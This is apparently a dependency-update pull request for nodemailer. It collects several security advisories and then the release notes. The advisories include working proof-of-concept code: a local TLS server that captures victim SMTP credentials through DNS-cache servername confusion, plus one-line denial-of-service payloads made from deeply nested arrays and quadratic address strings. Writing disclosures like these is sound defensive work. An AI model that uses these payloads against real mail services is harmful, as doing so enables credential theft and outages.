  • Ecosystem: npm
  • Package: nodemailer
  • Repository: https://github.com/nodemailer/nodemailer
  • Tested version: 10.0.1
  • Tested commit: 40d52215aac65b811d7e131bc916f68605efd9d2
  • Runtime-confirmed vulnerable versions: 5.0.0 and 10.0.1
  • Affected versions: >= 5.0.0, <= 10.0.1
  • Patched versions: None known at the time of this report
  • Affected mode: Direct TLS/SMTPS connections (secure: true) where different transports use the same non-IP host and different TLS servername values

The vulnerable cache implementation was introduced in commit 6859b5dd96c8d9f0070a3169a877181b71df4a3b on 2018-12-28. Git history shows v5.0.0 as the first release tag containing that commit. The behavior remains present in v10.0.1.

Details
Root cause

src/shared/index.ts defines one module-global DNS cache, keyed only by the DNS host:

export const dnsCache = new Map<string, DnsCacheEntry>();

Although the cache key contains only host, the cached value contains both DNS addresses and the request-specific TLS identity:

const value: DnsCacheValue = {
    addresses: allAddresses,
    servername: options.servername || host
};

dnsCache.set(host, {
    value,
    expires: Date.now() + (options.dnsTtl || DNS_TTL)
});

On a cache hit, resolveHostname() returns the cached servername without considering the current call's options.servername:

if (!cached.expires || cached.expires >= now) {
    return callback(
        null,
        formatDNSValue(cached.value, {
            cached: true
        })
    );
}

formatDNSValue() copies that stale value into the result:

return Object.assign(
    {
        servername: value.servername,
        host,
        _addresses: addresses
    },
    extra || {}
);

For a direct TLS connection, SMTPConnection.connect() initially copies the current transport's TLS configuration into opts. _resolveAndConnect() then overwrites every truthy field with the cached resolver result, including opts.servername:

Object.assign(opts, this.options.tls || {});

if (this.servername && !opts.servername) {
    opts.servername = this.servername;
}

return this._resolveAndConnect(opts, resolved => {
    this._connectToHost(opts, this.secureConnection);
});
for (const key of Object.keys(resolved!)) {
    if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) {
        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];
    }
}

The resulting opts object is passed to tls.connect(). Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.

The default DNS cache TTL is five minutes:

const DNS_TTL = 5 * 60 * 1000;
Code path
Tenant A: createTransport({ host: H, secure: true,
                            tls: { servername: attackerName } })
  -> SMTPConnection.connect()
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: attackerName })
  -> dnsCache.set(H, { addresses, servername: attackerName })

Victim: createTransport({ host: H, secure: true,
                          tls: { servername: victimName } })
  -> SMTPConnection.connect()
  -> opts.servername = victimName
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: victimName })
  -> dnsCache.get(H)
  -> returns cached servername = attackerName
  -> _resolveAndConnect overwrites opts.servername
  -> tls.connect({ servername: attackerName })
  -> attacker SNI virtual host and certificate are selected
  -> AUTH transmits victim SMTP credentials
Relevant source locations in the tested revision
  • src/shared/index.ts:184 — five-minute default cache TTL
  • src/shared/index.ts:245 — process-global cache keyed by host
  • src/shared/index.ts:247-262 — cached servername returned by formatDNSValue()
  • src/shared/index.ts:292-323 — host-only lookup and cache-hit return
  • src/shared/index.ts:350-359 — caller-specific servername stored in host-only cache
  • src/smtp-connection/index.ts:713-729 — direct TLS options and resolver call
  • src/smtp-connection/index.ts:741-763 — cached fields overwrite current connection options
PoC
Prerequisites
  • Node.js 20 (tested with Node.js 20.20.2)
  • A checkout/build of Nodemailer 10.0.1
  • OpenSSL to generate the local test certificate

No external SMTP server or network access is required.

1. Generate a certificate for only attacker.test

Create openssl.cnf:

[req]
distinguished_name = dn
x509_extensions = ext
prompt = no

[dn]
CN = attacker.test

[ext]
subjectAltName = DNS:attacker.test
basicConstraints = critical,CA:TRUE
keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign
extendedKeyUsage = serverAuth

Generate the certificate and private key:

openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf
2. Save the following as poc-dns-cache-servername-confusion.mjs

Adjust the two import paths if the PoC is not saved beside the repository checkout.

import fs from 'node:fs';
import tls from 'node:tls';
import nodemailer from '../../nodemailer/dist/esm/nodemailer.js';
import * as shared from '../../nodemailer/dist/esm/shared/index.js';

const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url));
const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url));
const observedSni = [];
const observedAuth = [];

const server = tls.createServer({ key, cert }, socket => {
    observedSni.push(socket.servername);
    socket.write('220 attacker.test ESMTP\r\n');
    let input = '';
    socket.on('data', chunk => {
        input += chunk.toString();
        let end;
        while ((end = input.indexOf('\r\n')) >= 0) {
            const line = input.slice(0, end);
            input = input.slice(end + 2);
            if (/^EHLO /i.test(line)) {
                socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n');
            } else if (/^AUTH /i.test(line)) {
                observedAuth.push(line);
                socket.write('235 2.7.0 Authentication successful\r\n');
            } else if (/^QUIT/i.test(line)) {
                socket.end('221 Bye\r\n');
            } else {
                socket.write('250 OK\r\n');
            }
        }
    });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

try {
    shared.dnsCache.clear();

    // Tenant A seeds the process-global cache for the shared DNS host.
    const attackerTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'attacker@example.test', pass: 'attacker-secret' },
        tls: {
            ca: cert,
            servername: 'attacker.test',
            rejectUnauthorized: true
        }
    });
    await attackerTransport.verify();
    attackerTransport.close();

    // The victim explicitly configures a different TLS identity.
    const victimTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'victim@example.test', pass: 'victim-secret' },
        tls: {
            ca: cert,
            servername: 'victim.test',
            rejectUnauthorized: true
        }
    });
    await victimTransport.verify();
    victimTransport.close();

    const decoded = observedAuth.map(line =>
        line.startsWith('AUTH PLAIN ')
            ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString()
            : null
    );

    console.log(JSON.stringify({
        attackerConfiguredServername: 'attacker.test',
        victimConfiguredServername: 'victim.test',
        serverObservedSniForBothConnections: observedSni,
        serverReceivedCredentials: decoded
    }, null, 2));
} finally {
    shared.dnsCache.clear();
    await new Promise(resolve => server.close(resolve));
}
3. Build and run

From the Nodemailer checkout:

npm install
npm run build
node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs
Observed result
{
  "attackerConfiguredServername": "attacker.test",
  "victimConfiguredServername": "victim.test",
  "serverObservedSniForBothConnections": [
    "attacker.test",
    "attacker.test"
  ],
  "serverReceivedCredentials": [
    "\\u0000attacker@example.test\\u0000attacker-secret",
    "\\u0000victim@example.test\\u0000victim-secret"
  ]
}

The victim configured victim.test, but the server observes attacker.test for both handshakes. The local certificate contains only attacker.test, yet the victim connection succeeds with rejectUnauthorized: true and then sends the victim's username and password.

Expected result

The second connection must use victim.test for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as attacker.test.

Impact

The vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS host. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname.

An attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's tls.servername. During the cache lifetime, a victim's direct SMTPS connection to that host can:

  1. send the attacker's server name as SNI;
  2. be routed to the attacker's TLS virtual host;
  3. validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and
  4. transmit the victim's SMTP username and password to that endpoint.

Possession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider.

Where the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact.

Preconditions and limitations
  • Two transports must execute in the same Node.js process within the cache lifetime.
  • They must use the same non-IP host cache key and different tls.servername values.
  • Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name.
  • The demonstrated path uses direct SMTPS (secure: true). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report.
Suggested remediation

The DNS cache should store DNS data only. servername is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname.

One approach is to remove servername from DnsCacheValue and derive the returned value from the current request on every path:

return {
    host: selectedAddress,
    servername: options.servername || options.host || false,
    _addresses: addresses,
    cached: true
};

As defense in depth, _resolveAndConnect() should not overwrite an explicitly configured opts.servername with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation.

A regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS

GHSA-8vvx-rff5-p5rq

More information

Details

Submission metadata
Field Value
Ecosystem npm
Package nodemailer
Repository https://github.com/nodemailer/nodemailer
Tested commit 40d52215aac65b811d7e131bc916f68605efd9d2
Current tested version 10.0.1
Confirmed vulnerable versions 2.7.2, 3.0.0, 7.0.11, 9.1.1, 10.0.1
Proposed affected range >= 2.7.2, <= 10.0.1
Patched version 10.0.2
Summary

Nodemailer 10.0.1 does not safely process deeply nested arrays supplied through recipient fields such as to, cc, and bcc.

The public MimeNodeAddressInput type recursively permits arrays, but MimeNode._parseAddresses() flattens only the outermost array. A remaining nested array is passed to addressparser(), whose Tokenizer coerces the input with .toString(). Native Array.prototype.toString() recursively processes every nested array through join() and toString() until the V8 call stack is exhausted.

A valid 10,021-byte JSON recipient value containing one address wrapped in 5,000 arrays causes:

RangeError: Maximum call stack size exceeded

The exception occurs through the normal sendMail() API before the maxRecipients limit is evaluated. If the integrating application does not catch the synchronous exception around the complete sendMail() invocation, the Node.js worker or server process terminates.

No SMTP server, remote host, large attachment, or successful email delivery is required.

This is distinct from GHSA-rcmh-qjqh-p98v / CVE-2025-14874. The previous vulnerability concerned recursive parsing of RFC 5322 group strings. This report uses Nodemailer's structured recipient-array input and never reaches the parser's MAX_NESTED_GROUP_DEPTH protection.

Security impact

An attacker who can control a recipient field passed to Nodemailer can trigger stack exhaustion using a roughly 10 KB JSON value. Potentially affected integrations include:

  • Email-sending HTTP APIs that accept structured recipient values.
  • Notification workers consuming JSON jobs from a queue.
  • Template or automation systems that forward parsed recipient data to sendMail().
  • Multi-tenant applications that allow users to configure message recipients.

When the exception is not caught, a single request or queue item can terminate the process handling mail. A process manager may restart the worker, but repeated malicious inputs can keep workers in a restart loop and make the service unavailable.

Applications that explicitly validate recipient values as flat strings or flat arrays before calling Nodemailer are not exposed through this path. Applications that wrap the complete synchronous sendMail() invocation in exception handling can prevent process termination, although an attacker can still repeatedly force failed jobs.

Attack prerequisites

The vulnerability is reachable when:

  1. An application accepts attacker-controlled or partially attacker-controlled recipient data.
  2. The application preserves the array structure after parsing JSON.
  3. The resulting value is passed to a Nodemailer recipient field such as to, cc, or bcc.
  4. The application does not impose its own nesting-depth limit before calling Nodemailer.

The proof of concept uses jsonTransport only to avoid requiring an SMTP server. The vulnerable address normalization and envelope construction occur before transport-specific delivery, so the root cause is not limited to jsonTransport.

Technical details
1. The public input type accepts recursively nested arrays

At src/mime-node/index.ts:67, recipient input is recursively defined:

export type MimeNodeAddressInput = string | MimeNodeAddress | MimeNodeAddressInput[];

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L67

This permits values equivalent to:

[[[[['victim@example.test']]]]]
2. _parseAddresses() removes only the outermost array

At src/mime-node/index.ts:1359-1385, _parseAddresses() wraps the input with [].concat(addresses) and iterates the resulting outer array:

_parseAddresses(addresses: MimeNodeAddressInput | undefined): MimeNodeAddress[] {
    const flattened: MimeNodeAddress[] = [];

    ([] as any[]).concat(addresses).forEach(address => {
        if (address && address.address) {
            const normalized = this._normalizeAddress(address.address);
            // ...
            return;
        }

        const parsed = this._normalizeParsedAddresses(addressparser(address));
        for (let i = 0; i < parsed.length; i++) {
            flattened.push(parsed[i]);
        }
    });

    return flattened;
}

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L1359-L1386

For an input nested 5,000 levels deep, the callback receives an array nested 4,999 levels deep. Because this value does not have a truthy .address property, it is passed directly to addressparser().

3. Tokenizer invokes recursive native array conversion

The Tokenizer constructor performs the following coercion at src/addressparser/index.ts:393:

this.str = (str || '').toString();

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/addressparser/index.ts#L393

When str is an array, this invokes Array.prototype.toString(). Array string conversion invokes join(), which converts every nested element to a string. Deeply nested arrays therefore produce native recursion resembling:

Array.toString
  -> Array.join
     -> childArray.toString
        -> Array.join
           -> childArray.toString
              -> ...

At sufficient depth, V8 raises RangeError: Maximum call stack size exceeded.

4. The recipient limit is applied too late

Nodemailer's maxRecipients protection is evaluated only after the message envelope has been constructed:

const recipientCount = mail.message.getEnvelope().to.length;

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mailer/index.ts#L414-L417

The exception occurs inside getEnvelope(), so maxRecipients cannot prevent this condition.

Vulnerable code path
transporter.sendMail(message)
  -> MailComposer(mail.data).compile()
  -> mail.message.getEnvelope()
  -> MimeNode._parseAddresses(message.to)
  -> addressparser(nestedArray)
  -> new Tokenizer(nestedArray)
  -> nestedArray.toString()
  -> Array.join / Array.toString recursion
  -> RangeError: Maximum call stack size exceeded
Proof of concept
Test environment
Operating system: Windows 11
Node.js: 20.20.2
Nodemailer: 10.0.1
Nodemailer commit: 40d52215aac65b811d7e131bc916f68605efd9d2
Transport: jsonTransport
Installation
mkdir nodemailer-nested-array-poc
cd nodemailer-nested-array-poc
npm init -y
npm install nodemailer@10.0.1

Create poc.mjs:

import nodemailer from 'nodemailer';

const depth = Number(process.argv[2] || 5000);

// Valid JSON containing one address wrapped in `depth` arrays.
const json =
    '['.repeat(depth) +
    '"victim@example.test"' +
    ']'.repeat(depth);

const recipient = JSON.parse(json);

console.log({
    nodemailerVersion: '10.0.1',
    depth,
    jsonBytes: Buffer.byteLength(json)
});

const transport = nodemailer.createTransport({
    jsonTransport: true
});

await transport.sendMail({
    from: 'sender@example.test',
    to: recipient,
    subject: 'Nested recipient array PoC',
    text: 'test'
});

console.log('sendMail resolved');
Trigger
node poc.mjs 5000
Observed result
{
  nodemailerVersion: '10.0.1',
  depth: 5000,
  jsonBytes: 10021
}

node:internal/modules/run_main:123
    triggerUncaughtException(
    ^

RangeError: Maximum call stack size exceeded
    at Array.join (<anonymous>)
    at Array.toString (<anonymous>)
    at Array.join (<anonymous>)
    at Array.toString (<anonymous>)
    at Array.join (<anonymous>)
    at Array.toString (<anonymous>)
    ...

Node.js v20.20.2

The tested process exits with status code 1.

Control case

Running the same code with a nesting depth of 500 succeeds:

node poc.mjs 500

Observed result:

{
  nodemailerVersion: '10.0.1',
  depth: 500,
  jsonBytes: 1021
}

sendMail resolved

The difference between the trigger and control cases is only the nesting depth.

Reproduction notes
  • The exact failure depth is platform and runtime dependent because JavaScript stack limits vary.
  • A depth of 5,000 reliably reproduced the exception in the tested Node.js environment.
  • The payload is generated as JSON and parsed with native JSON.parse() to model data received by an HTTP API or queue worker.
  • No network connection is performed because jsonTransport is used.
Version verification

The proof of concept was executed against several released versions. Each listed version exited with RangeError: Maximum call stack size exceeded at a depth of 5,000:

Nodemailer version Result
2.7.2 Vulnerable
3.0.0 Vulnerable
7.0.11 Vulnerable
9.1.1 Vulnerable
10.0.1 Vulnerable

Version 7.0.11 is significant because it contains the fix for the previous string-group recursion advisory. Its failure confirms that this report describes a separate surviving path.

The proposed affected range is >= 2.7.2, <= 10.0.1, representing the versions directly confirmed during testing and the continuous vulnerable implementation observed in source history. Earlier releases were not assessed and should not be considered confirmed safe.

Difference from GHSA-rcmh-qjqh-p98v / CVE-2025-14874

The previous advisory used a crafted address string containing nested RFC 5322 groups:

g0: g1: g2: ... victim@example.com;

Its recursive path was:

addressparser(string)
  -> _handleAddress()
  -> addressparser(nested group string)

That issue was mitigated by adding and propagating a parser recursion-depth counter capped by MAX_NESTED_GROUP_DEPTH.

This report instead supplies a structured JSON array through the public recipient input:

MimeNode._parseAddresses(array)
  -> addressparser(array)
  -> Tokenizer
  -> Array.prototype.toString()

The array conversion happens before any RFC 5322 group parsing. Consequently:

  • No sequence of nested group delimiters is required.
  • _handleAddress() is not the source of recursion.
  • The _depth parser option is not incremented.
  • MAX_NESTED_GROUP_DEPTH is never consulted.
  • Releases containing the previous fix remain vulnerable.

Previous advisory:

GHSA-rcmh-qjqh-p98v

Suggested remediation

Flatten MimeNodeAddressInput values iteratively before passing scalar values to addressparser(). Nested arrays should never be implicitly converted to strings.

For example, the implementation can maintain an explicit work stack:

const pending: unknown[] = [addresses];
const seenArrays = new WeakSet<object>();

while (pending.length) {
    const value = pending.pop();

    if (Array.isArray(value)) {
        if (seenArrays.has(value)) {
            throw new TypeError('Cyclic recipient array');
        }
        seenArrays.add(value);

        for (let i = value.length - 1; i >= 0; i--) {
            pending.push(value[i]);
        }
        continue;
    }

    // Process only scalar strings and structured address objects here.
}

Additional hardening options include:

  1. Reject array nesting above an explicit maximum before any coercion.
  2. Reject unsupported recipient value types instead of passing them to addressparser().
  3. Catch address-normalization exceptions and report them through the normal sendMail() callback or rejected Promise.
  4. Apply input-complexity checks before constructing the envelope and before evaluating maxRecipients.

An iterative implementation is preferable because the public TypeScript type is recursive and indicates that nested array structures are accepted inputs. Cycle detection remains necessary for direct JavaScript callers because cyclic arrays cannot originate from JSON but can be constructed in memory.

Suggested regression tests

The fix should cover:

  1. Deeply nested arrays containing one valid address, completing iteratively or failing with a controlled Nodemailer error.
  2. Nested inputs through to, cc, bcc, replyTo, and explicit envelope fields.
  3. A cyclic JavaScript recipient array.
  4. Ordinary flat strings and arrays, preserving existing behavior.
  5. Arrays containing structured { name, address } objects.
  6. Confirmation that failures reach the callback or rejected Promise instead of escaping the documented error path.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Nodemailer: Quadratic backtracking in the addressparser free-text fallback allows remote denial of service

GHSA-v53p-9fqp-m79j

More information

Details

Summary

When addressparser finds no address by its strict reading, it falls back to pulling one out of the free text with /\s*\b[^@\s]+@[^\s]+\b\s*/. That pattern backtracks quadratically: [^@\s]+ is retried from every offset and rescans the run to the next @ each time. A single header value holding a long whitespace-free run with no usable @ blocks the Node.js event loop for tens of seconds.

It is cheaper to exploit than GHSA-prgh-xp8r-p3m5: 273KB is enough for ~43s, where the comment-joined shape needed ~1.5MB for ~10s.

Details

The fallback in src/addressparser/index.ts ran the pattern as a search. [^@\s]+ crosses neither whitespace nor @, so from each start offset it scans forward to the next @ or to the end of the run and then fails, and the engine simply advances one character and repeats. Three shapes make every offset fail:

  • the run holds no @ at all
  • the only @ has nothing after it
  • the only @ has nothing before it

A fourth reaches it with a valid address present but placed past a long run, so the long run is walked before the match is found.

PoC
const addressparser = require('nodemailer/lib/addressparser');
const s = Date.now();
addressparser(' >' + '>[x][x]'.repeat(40000)); // 273KB
console.log(Date.now() - s, 'ms'); // ~43000 ms, blocking

Measured on 10.0.5:

Value Parse time
'[x]'.repeat(40000) (117KB) 9.0 s
'[x]'.repeat(40000) + '@' (117KB) 8.9 s
'@' + '[x]'.repeat(40000) (117KB) 8.8 s
' >' + '>[x][x]'.repeat(40000) (273KB) 42.9 s
Impact

Algorithmic-complexity denial of service. Node is single threaded, so the block stalls the whole process. Reachable without authentication anywhere inbound header values are handed to this parser, mailparser being the notable case, and reachable from application input wherever a user-supplied string is used as a message address, since mime-node parses to, from and cc when composing.

Patch

The search is replaced by a single linear pass that finds the one offset the pattern can match at, which is then applied there with a sticky regex. Match results are unchanged, verified against the previous implementation over 3.4 million random strings comparing both the match offset and the matched text, plus 800k full-parse comparisons.

Found while validating the report in GHSA-prgh-xp8r-p3m5, not reported externally.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Nodemailer: Quoted local-part can produce malformed envelope recipient through RFC 5322 comment parsing

GHSA-g57g-f23g-4646

More information

Details

Summary

Nodemailer's address parser can produce an unexpected recipient address when an RFC 5322 comment follows the domain of an address whose local-part is a quoted string.

For example:

"user"@example.com(x)evil.com

is parsed as:

{
  address: "user@example.com evil.com",
  name: ""
}

The resulting address therefore contains additional attacker-controlled domain text separated by a literal space.

The parsed .address value is subsequently propagated into the SMTP envelope:

src/addressparser/index.ts
        ↓
recipient.address
        ↓
src/mime-node/index.ts
        ↓
envelope.to

The envelope construction uses the parsed address without another strict address validation step.

This appears to be a variant of the RFC 5322 comment parsing issue addressed by GHSA-cc9r-2j5m-2m83, but it follows a different parser path when the local-part is quoted.

Reproduction

Input:

"user"@example.com(x)evil.com

Observed parser output:

address: "user@example.com evil.com"
name: ""

A second example:

"a"@b.com(c)d.com(e)f.com

produces:

address: "a@b.com d.com f.com"
name: ""

For comparison, the corresponding unquoted form:

user@example.com(x)evil.com

takes a different code path and is handled by the existing protection differently.

Technical Details

The issue is caused by different parsing behavior for quoted and unquoted local-parts.

The quoted-local-part variant allows the comment-separated trailing domain atoms to remain in the resulting .address value.

That value is then used when constructing the message envelope:

envelope.to = recipients.map(to => to.address as string)

No additional strict recipient validation is performed at this boundary.

Security Impact

The confirmed impact is that attacker-controlled comment content can result in a malformed/ambiguous recipient address being accepted by the parser and propagated into envelope.to.

The reporter did not confirm successful delivery to an unintended recipient through a real SMTP server using this exact quoted-local-part variant.

The remaining question is how real SMTP servers and other Nodemailer transports handle an envelope recipient containing a value such as:

user@example.com evil.com

An end-to-end SMTP test is required to determine whether this parser behavior results in an exploitable delivery or recipient-validation bypass.

Relationship to GHSA-cc9r-2j5m-2m83

This report is intended as a potential variant/follow-up to GHSA-cc9r-2j5m-2m83.

The existing advisory addresses RFC 5322 comment handling in email domains. This report identifies a separate parser path involving quoted local-parts that can preserve additional domain-like content in the normalized address.

Please evaluate whether this behavior is already covered by the existing fix or represents a remaining parser variant.

Suggested Fix

The parser should consistently reject or correctly terminate addresses containing trailing domain atoms after RFC 5322 comments, regardless of whether the local-part is quoted.

In particular:

"user"@example.com(x)evil.com

should not result in:

user@example.com evil.com

The envelope-generation layer should also avoid assuming that a parser-produced address is safe for SMTP delivery without appropriate validation.

Verification Status

Confirmed:

  • Parser accepts the quoted-local-part variant.
  • Parser produces an address containing additional attacker-controlled text.
  • The resulting address is propagated into envelope.to.

Not confirmed by reporter:

  • Successful delivery through a real SMTP server.
  • Delivery to an unintended recipient.
  • Exploitability against a specific downstream SMTP implementation.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)

GHSA-prgh-xp8r-p3m5

More information

Details

Summary

nodemailer/lib/addressparser parses one shape of address in O(n^2) time. A single ~640 KB address value blocks the Node.js event loop for roughly 7 seconds. And it is reachable without auth: mailparser feeds inbound email headers straight into this parser, so one crafted email is enough to stall a service that parses mail.

Details

The parser builds a single address by accumulating its atoms into one string. When the atoms are separated by RFC 5322 comments, like a@b(c)@b(c)@b(c)..., every atom re-joins that same growing string.

The join check in src/addressparser/index.ts:

const joins =
    prevToken &&
    prevToken.noBreak &&
    parts.length &&
    (prevToken.value !== ')' || parts[parts.length - 1].slice(-1) === '@' || token.value.charAt(0) === '@');

The issue is the order of the last two operands. parts[parts.length - 1].slice(-1) runs before the cheap token.value.charAt(0). slice(-1) has to flatten the accumulator to read its last character → O(current length) → and that runs on every token → O(n^2) over the whole value. Since || is left to right, the cheap charAt(0) that would short-circuit never gets the chance.

The chain: long comment-joined address → one growing accumulator → slice(-1) re-flattens it on every token → quadratic parse time.

PoC

Isolated, just the parser (npm i nodemailer@10.0.3):

const addressparser = require('nodemailer/lib/addressparser');
const s = Date.now();
addressparser('a' + '@b(c)'.repeat(130000));
console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking

End to end through mailparser, the remote path (npm i mailparser@3.9.24):

const { simpleParser } = require('mailparser');
(async () => {
  const to = 'a' + '@b(c)'.repeat(130000);
  const eml = `From: a@b.com\r\nTo: ${to}\r\nSubject: x\r\n\r\nhi\r\n`;
  const s = Date.now();
  await simpleParser(eml);
  console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking
})();

Timings measured on 10.0.3:

Address value Parse time
390 KB 1.3 s
585 KB 5.6 s
640 KB 6.7 s
976 KB 18 s

It survives RFC 5322 folding: fold the header at offsets that are a multiple of the atom length and every )+@ junction stays intact, so the payload is a standards-compliant email with lines under 998 octets and still triggers it.

Impact

Algorithmic-complexity DoS. Node is single threaded, so the block stalls everything else in the process, and a handful of these back to back keeps a service down.

Affected: anything that runs addressparser on attacker-controlled input, either the public export directly or address headers built from user input. The unauthenticated remote case is mailparser. 3.9.24 pins nodemailer 10.0.3 and calls the parser on inbound To/From/Cc with no length cap, so any service parsing inbound mail with it can be frozen by a single email.

Suggested fix

Swap the last two operands so the cheap check runs first:

(prevToken.value !== ')' || token.value.charAt(0) === '@' || parts[parts.length - 1].slice(-1) === '@')

Pure boolean commutation, so the parse output is identical. Verified byte for byte on the test inputs, and the full 1276-test suite passes.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

nodemailer/nodemailer (nodemailer)

v10.0.9

Compare Source

Bug Fixes
  • addressparser: bound the '@​' probe to the run being scanned (1465c3f)
  • addressparser: keep the text after a comment out of a quoted local part address (2f36eb1)

v10.0.8

Compare Source

Bug Fixes
  • mime-node: clean the boundary where it is written, not only where it is built (e14278d)
  • mime-node: drop every control character from multipart boundary material (a82a355)

v10.0.7

Compare Source

Bug Fixes
  • mime-funcs: do not double encode Buffer input when chunking base64 mime words (#​1865) (4327a59)
  • mime-node: keep a boundary that is only line breaks from stripping to empty (ec46800)
  • mime-node: strip line breaks from multipart boundary material (#​1867) (03c1a5c)
  • smtp-pool: release rate-limited connections on close (#​1866) (7f5c7a4)

v10.0.6

Compare Source

Bug Fixes
  • addressparser: scan free text for an address in linear time (437d7fc)

v10.0.5

Compare Source

Bug Fixes
  • addressparser: parse comment-joined addresses in linear time (c07f175)

v10.0.4

Compare Source

Bug Fixes
  • fetch: scope a cookie without a Path to the RFC 6265 default path (2f907cb)
  • fetch: send cookies set with Path back to the exact path (#​1861) (d557113)
  • mail-composer: keep httpHeaders and tls for href alternatives and icalEvent (#​1862) (7f502be)
  • resolve well-known services by their primary domains (#​1859) (085f525)
  • ses-transport: throw a configuration error when the SES client is missing (#​1863) (4d9c4c9)

v10.0.3

Compare Source

Bug Fixes
  • fetch: honor the cookie Domain attribute without accepting public suffixes (1608391), closes #​1856

v10.0.2

Compare Source

Bug Fixes
  • mime-node: flatten nested recipient arrays without recursion (ebe0849)
  • shared: keep the TLS server name out of the DNS cache (a6512db)

v10.0.1

Compare Source

Bug Fixes
  • types: accept an explicit undefined for optional properties (209719d), closes #​1853
  • types: drop the internal members from the published declarations (81e64ea)

v10.0.0

Compare Source

⚠ BREAKING CHANGES
  • Node.js 20 or newer is required. The Node.js 6 syntax compatibility check and the .npmignore file are gone.
Features
Bug Fixes
  • apply the other keys of a configuration object next to its url (29610f9)
  • dkim: canonicalize raw messages the way verifiers do (2c84b11)
  • keep a transporter assignable to the plain Transporter type (8bf55fb)
  • shared: keep a colon in the user name of a connection or proxy url (6acf4b6)
  • shared: refuse URL hosts the legacy parser would truncate (17a5068)
  • shared: resolve hostnames when the runtime has no interface table (8b03240)
  • smtp-connection: clear the timers of a connection dropped before the greeting (01dcaa0)
  • smtp-connection: keep an incomplete server reply out of lastServerResponse (1a6e427)
  • smtp-pool: free the pool slot when the proxy socket can not be opened (204a344)
  • well-known: keep nodemailer/lib/well-known/services.json available (367730c)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

🧹 Chore

Click to see all chore contributions

Contributors

Tobbe, mcorrigan89, and 2 other contributors
Assets 2
Loading